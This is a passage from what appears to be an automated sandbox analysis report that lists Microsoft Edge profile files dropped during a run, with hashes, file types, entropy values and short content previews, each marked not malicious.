Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13384336790665039","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13384336790665039","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3b99d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.566045162996104
Encrypted:	false
SSDEEP:	768:hrR4SpWPuEf6p8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtc0nMrwgpjtuk:hrR4SpWPuEf6pu1jacPnl0tr
MD5:	E8CED80B42EAAF0C201A8FD85104CE52
SHA1:	26C19276763E848A3B89F97C934F299ED87F4702
SHA-256:	93A537C89F03921BD7956DFD90FD7F206DC71A1CC4AF793FE42249E1F51664EE
SHA-512:	156224E8F691970CE6CF276B1DEB2EA18A23A29D170727DADB60B6432F9A5BAB36A001BDC2907ECEF02116C1E22AE77EE78D02818225E9E37CD8467E26CC98D3
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13384336790665039","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13384336790665039","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	512812
Entropy (8bit):	3.620166336533324
Encrypted:	false
SSDEEP:	6144:7aG2ouHB28FvfhRtUIODiq2HOlY+c/nBYkC8dHlw8UTOpCoj:7aGS
MD5:	8E5E2740F35786BC1840FCD938CB2E6E
SHA1:	0171669FA8298D27CE9169B94DB15718ACE22D15
SHA-256:	D4CD9240EB5DB022D0ECC594E903C5FF402E1224D40D8AFCDAB316AFAA2D3F2E
SHA-512:	0FF4C7426713237FE407145C6DEE43C0789E1A581848DFC17A0BFC40D64079D72955AFBD465A266FC5E1DB7C924C0BEFFA70A264095654099B30B4210FF71648
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............I?jWe................next-map-id.1.Fnamespace-2c1c241a_c2be_4dba_8a56_0ce1e7166467-https://www.scribd.com/.0...;d................next-map-id.2.Enamespace-2c1c241a_c2be_4dba_8a56_0ce1e7166467-https://cmp.osano.com/.1...d................next-map-id.3.Enamespace-2c1c241a_c2be_4dba_8a56_0ce1e7166467-https://js.stripe.com/.2.J.z.~...............map-0-fs.config..{.".f.s.u.i.d.".:.".6.1.5.3.1.4.1.f.-.7.e.e.9.-.4.f.7.3.-.a.3.6.b.-.e.e.3.a.4.4.4.b.c.c.9.2.".,.".n.e.t.w.o.r.k.M.a.p.".:.{.".n.e.t.w.o.r.k.s.".:.{.".1.".:.{.".i.d.".:.1.,.".a.c.t.i.v.e.".:.t.r.u.e.,.".b.i.d.A.d.j.u.s.t.m.e.n.t.".:.0.,.".a.l.l.o.w.e.d.G.e.o.s.".:.[.].,.".d.i.s.a.l.l.o.w.e.d.G.e.o.s.".:.[.].}.,.".2.".:.{.".i.d.".:.2.,.".a.c.t.i.v.e.".:.t.r.u.e.,.".b.i.d.A.d.j.u.s.t.m.e.n.t.".:.0.,.".a.l.l.o.w.e.d.G.e.o.s.".:.[.].,.".d.i.s.a.l.l.o.w.e.d.G.e.o.s.".:.[.].}.,.".7.".:.{.".i.d.".:.7.,.".

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000004.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	3055
Entropy (8bit):	5.1657228273053075
Encrypted:	false
SSDEEP:	48:U0tyB5Hiaqk021lvlZLQjwI9L7HvmC4kzx:U00zHJqk021pnLQjwI5Hvmrkzx
MD5:	DF60E472AD8567181611F11637A65673
SHA1:	61F722931B3BE115CD8DE516526521387547B79D
SHA-256:	7291B760A98B8216E0A49A01DA1FE788B4FD8C6EE638ECE7BE486BAEA7834BB1
SHA-512:	35ADDA024A283173718745115F02FEB091AD5262202854B8B98822BD1A53BEDAC3A8C1FA9EF53667320D4695D8FC449BD4516934FB39BF6BC6AADF36DE2C8D17
Malicious:	false
Preview:	....g................next-map-id.4.Hnamespace-2c1c241a_c2be_4dba_8a56_0ce1e7166467-https://m.stripe.network/.3...d................next-map-id.5.Enamespace-2c1c241a_c2be_4dba_8a56_0ce1e7166467-https://hbx.media.net/.4..;,i................next-map-id.6.Jnamespace-2c1c241a_c2be_4dba_8a56_0ce1e7166467-https://js-sec.indexww.com/.5..,.e................next-map-id.7.Fnamespace-2c1c241a_c2be_4dba_8a56_0ce1e7166467-https://acdn.adnxs.com/.6.T..h................next-map-id.8.Inamespace-2c1c241a_c2be_4dba_8a56_0ce1e7166467-https://cdn.undertone.com/.7zpL.m................next-map-id.9.Nnamespace-2c1c241a_c2be_4dba_8a56_0ce1e7166467-https://eus.rubiconproject.com/.8.A%.g................next-map-id.10.Gnamespace-2c1c241a_c2be_4dba_8a56_0ce1e7166467-https://ads.yieldmo.com/.9...:k................next-map-id.11.Jnamespace-2c1c241a_c2be_4dba_8a56_0ce1e7166467-https://sync.cootlogix.com/.10...g................next-map-id.12.Fnamespace-2c1c241a_c2be_4dba_8a56_0ce1e7166467-https://gum.criteo.com/.11i.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000005.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	60760
Entropy (8bit):	6.78703263350345
Encrypted:	false
SSDEEP:	1536:ttVEKqMMkEhjjBlqsyJzvU4PrVsexxaRLfwU1:9D3MrlqdJz845b/aRLI0
MD5:	2A4CF2E4CE181F33A943E41C5B77A404
SHA1:	0E34DBA4531AFF8FFD794C97E874644A25532C65
SHA-256:	3F2E3E6AEACF54B0C59AB58E20744631D557F67AB27DBA837C0DF6CA2B1F7D78
SHA-512:	4D49A5C262C1DBD75D78716CDB304F219ACF68C5EB70AC4CB3A2E1AF2C62EBDC406AE3580246923FD20EBA83C4C283C79580B520919293C745B3AA9E31EE2145
Malicious:	false
Preview:	...X....map-0-fs.config......u{.".f.s.u.i.d.".:.".6.1.5.3.1.4.1.f.-.7.e.e.9.-.4.f.7.3.-.a.3.6.b.-.e.e.3.a.4.4.4.b.c.c.9.2.".,.".n.e.t.w.o.r.k.M.a.p..h.z6...s.....1....@1.,.".a.c.t.i.v.e.".t.r.u.e...b.,HA.d.j.u.s.t.m.e.n.t..0.$Ha.l.l.o.w.e.d.G.e.o.v.[.].".d.i.sz(..}..2.X.....2............7B...7......B...8B...8......B...9B...9.........".R.U.il.C...K.P...B.Y...S.D...I.R...S.S.".]M..1.0B.....\|..\|.q\|.".G...F...I.T...D.E...B.G.....L5..H...E%....C5(.L.V.<.C.Z...D.K...P.L...S.I...d.G.B...I...P...S.F.C.H.(.R.O...F.P.E.<.H...L.F.A...N...M..9.F...1......J...1.3Jp..3%..H..H..H........A8...n...".UU.YZ.C.AM2.AE...F...2.".b.fb.."]..M.X..Y..Su.Y..Bu..V.N.2y..Z.q..Nu.y..,.Mu.)<!..Pu..T...J.@.^9..Hu.y.9..Nu.69.r..F...2......J...2.4B...!h..n..P..".L...Z.WMR.YU>.C.F...A.\.8.B...LUH.MU..M.F.`......V.(.C..V....Uu..!N.I.Q.......2.5J...5.4......!....6J...6......."...^.S5..@y..r...,."i.!.....r...A.x.r.J...\|.r...9nF...2......J...2J....!T......6..F...2........1..3J8....P..P.>P..3J........J....&...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	487
Entropy (8bit):	5.110994072970965
Encrypted:	false
SSDEEP:	12:7WR3+v4YebCFUt03x/qhFV5LYebtZ9Q2f0sHfdzxh:76M4Yeb2g/9LYeb/2slNh
MD5:	9A148AA1303BDFC6D78C5E8052DDEE32
SHA1:	726C96141BF2CD0562A54620985AE0F92016E84B
SHA-256:	541F5FD1158D8EAA15D5A2B4AA548E6F2600543E3C63A97A1590FE16F229D732
SHA-512:	73B35EB5C9CB86BF62705895BCA5B5C9AD4DE31766988946D91FAD5B5B3C9408846A2E1D2C434BD71A0D51AD66B76E19AD6030945FE1C016CB5EC262529D4F98
Malicious:	false
Preview:	2025/02/18-02:19:51.719 1c0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/02/18-02:19:51.720 1c0c Recovering log #3.2025/02/18-02:19:51.726 1c0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .2025/02/18-02:20:06.661 1c0c Level-0 table #5: started.2025/02/18-02:20:06.697 1c0c Level-0 table #5: 60760 bytes OK.2025/02/18-02:20:06.701 1c0c Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	487
Entropy (8bit):	5.110994072970965
Encrypted:	false
SSDEEP:	12:7WR3+v4YebCFUt03x/qhFV5LYebtZ9Q2f0sHfdzxh:76M4Yeb2g/9LYeb/2slNh
MD5:	9A148AA1303BDFC6D78C5E8052DDEE32
SHA1:	726C96141BF2CD0562A54620985AE0F92016E84B
SHA-256:	541F5FD1158D8EAA15D5A2B4AA548E6F2600543E3C63A97A1590FE16F229D732
SHA-512:	73B35EB5C9CB86BF62705895BCA5B5C9AD4DE31766988946D91FAD5B5B3C9408846A2E1D2C434BD71A0D51AD66B76E19AD6030945FE1C016CB5EC262529D4F98
Malicious:	false
Preview:	2025/02/18-02:19:51.719 1c0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/02/18-02:19:51.720 1c0c Recovering log #3.2025/02/18-02:19:51.726 1c0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .2025/02/18-02:20:06.661 1c0c Level-0 table #5: started.2025/02/18-02:20:06.697 1c0c Level-0 table #5: 60760 bytes OK.2025/02/18-02:20:06.701 1c0c Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	102
Entropy (8bit):	5.0926644714518865
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjxn8hF1in4/yywQnSdEtl:scoBY7jxn88Fyw0Nl
MD5:	1C34DDA4D5971F1C84ED696D2D14721D
SHA1:	C8254A68A529572840FB9CC024289032981E9AE8
SHA-256:	425E57D746C71579EA393774375CD8DAD60137FB49B37791E5294FE7CE8FCADC
SHA-512:	6C29F8C5D08D808D0AA69582F0177AF1D307EBA32EB742DEF8B4B6D32B64A6BC857EEADF7931F5B652D039555B8A63E0C513C42166D3F50E2DE853266CC084EB
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......_U..6.................map-0-fs.config.........version........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13384336793195297

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	258554
Entropy (8bit):	3.139638145292825
Encrypted:	false
SSDEEP:	1536:DAHAtkrAtkhAW9V/DAYsm+2wAYsm6+MjAYsmFixE:Dm6kr6khl9V/D7h+2w7h6Jj7hFH
MD5:	13E3762F11EE95E0A92C3BB3DFD04F05
SHA1:	2EEC31776D90C3CEF4232E78E6C7250942C15FFF
SHA-256:	AF88776B03629F449EBEEFC05ED70D1FA2DD052EDC5DF3F5194826517C1BE05D
SHA-512:	9454D9C038A00DD10D9FFE8D715928CA11DA5F1831A198C408220C95EF23E71AA45A91CE03344C0D4749643DE09E600024F00F7C49A172206AC655C3D4DB39F9
Malicious:	false
Preview:	SNSS........]P............]P......".]P............]P........]P........]P........]P....!...]P................................]P.]P1..,....]P$...2c1c241a_c2be_4dba_8a56_0ce1e7166467....]P........]P...............]P....]P........................]P....................5..0....]P&...{98952893-68FF-4A5D-A164-705C709ED3DB}......]P........]P...........................]P............]P....8...https://www.scribd.com/document/806838445/Bank-Statement<...B.a.n.k. .S.t.a.t.e.m.e.n.t. .\|. .P.D.F. .\|. .D.e.b.i.t. .C.a.r.d. .\|. .A.u.t.o.m.a.t.e.d. .T.e.l.l.e.r. .M.a.c.h.i.n.e.L...H...!...@.....................................................................................................we.....we...@.......X.......................P...............................................x...8...h.t.t.p.s.:././.w.w.w...s.c.r.i.b.d...c.o.m./.d.o.c.u.m.e.n.t./.8.0.6.8.3.8.4.4.5./.B.a.n.k.-.S.t.a.t.e.m.e.n.t.................................8.......0.......8....................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.103001216761666
Encrypted:	false
SSDEEP:	6:iOXfcfj0Q+q2P923oH+Tcwt7Uh2ghZIFUtFfcfRgZmw7fcfRQVkwO923oH+Tcwts:7WgQ+v4YebIhHh2FUt0Rg/qRQV5LYebs
MD5:	A89275B94F46A1EFFFE230F6542AF3B1
SHA1:	52F00311F77488C56AD6E1D8FC4A4D4DAB722F5D
SHA-256:	4A446E6F45B2416757D822140966096E44EBCEFD8133C8597959579E467554DD
SHA-512:	DF701A67A35D52006E52AB43BEE4136A9EA20B40CEAE5D0DE9ECDB54A54E6A3FDC0FEAD97B6B20EB9E352D4C9A4E9A7576C4EE6EF611C43164F10B78167FF966
Malicious:	false
Preview:	2025/02/18-02:19:50.957 c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/02/18-02:19:50.958 c2c Recovering log #3.2025/02/18-02:19:50.958 c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.103001216761666
Encrypted:	false
SSDEEP:	6:iOXfcfj0Q+q2P923oH+Tcwt7Uh2ghZIFUtFfcfRgZmw7fcfRQVkwO923oH+Tcwts:7WgQ+v4YebIhHh2FUt0Rg/qRQV5LYebs
MD5:	A89275B94F46A1EFFFE230F6542AF3B1
SHA1:	52F00311F77488C56AD6E1D8FC4A4D4DAB722F5D
SHA-256:	4A446E6F45B2416757D822140966096E44EBCEFD8133C8597959579E467554DD
SHA-512:	DF701A67A35D52006E52AB43BEE4136A9EA20B40CEAE5D0DE9ECDB54A54E6A3FDC0FEAD97B6B20EB9E352D4C9A4E9A7576C4EE6EF611C43164F10B78167FF966
Malicious:	false
Preview:	2025/02/18-02:19:50.957 c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/02/18-02:19:50.958 c2c Recovering log #3.2025/02/18-02:19:50.958 c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.226246919155619
Encrypted:	false
SSDEEP:	12:7WKdOv4YebvqBQFUt0BFZ/q1o5LYebvqBvJ:7Pa4YebvZgQayLYebvk
MD5:	CF84C03EB43B1A36AD326FA582302A16
SHA1:	8A5CF547380CAF71383F9B143648423B16F1D0B3
SHA-256:	B74DB4489F6945140835DCAE62262DE8A32E49C2AC7D8A7A2A0B1A220CE40045
SHA-512:	D0FA2A1EFC67D8637645EEF99ECF0CE8FA3F7A95204E9ED6E1CE22A968CC0A924A17E90D2D8238675CC1E88C8D2965B8E7AF368EF5BB9C678947C1CE39A3166F
Malicious:	false
Preview:	2025/02/18-02:19:51.699 1c18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/02/18-02:19:51.715 1c18 Recovering log #3.2025/02/18-02:19:51.718 1c18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.226246919155619
Encrypted:	false
SSDEEP:	12:7WKdOv4YebvqBQFUt0BFZ/q1o5LYebvqBvJ:7Pa4YebvZgQayLYebvk
MD5:	CF84C03EB43B1A36AD326FA582302A16
SHA1:	8A5CF547380CAF71383F9B143648423B16F1D0B3
SHA-256:	B74DB4489F6945140835DCAE62262DE8A32E49C2AC7D8A7A2A0B1A220CE40045
SHA-512:	D0FA2A1EFC67D8637645EEF99ECF0CE8FA3F7A95204E9ED6E1CE22A968CC0A924A17E90D2D8238675CC1E88C8D2965B8E7AF368EF5BB9C678947C1CE39A3166F
Malicious:	false
Preview:	2025/02/18-02:19:51.699 1c18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/02/18-02:19:51.715 1c18 Recovering log #3.2025/02/18-02:19:51.718 1c18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\43c57cda-3ce7-40ce-9bab-b15a7c7dde8c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\728a0491-4b4c-4faf-88fe-f835002c641a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\86f52840-82ac-4c39-ba7d-c469a75aae44.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3a663.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ba0a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
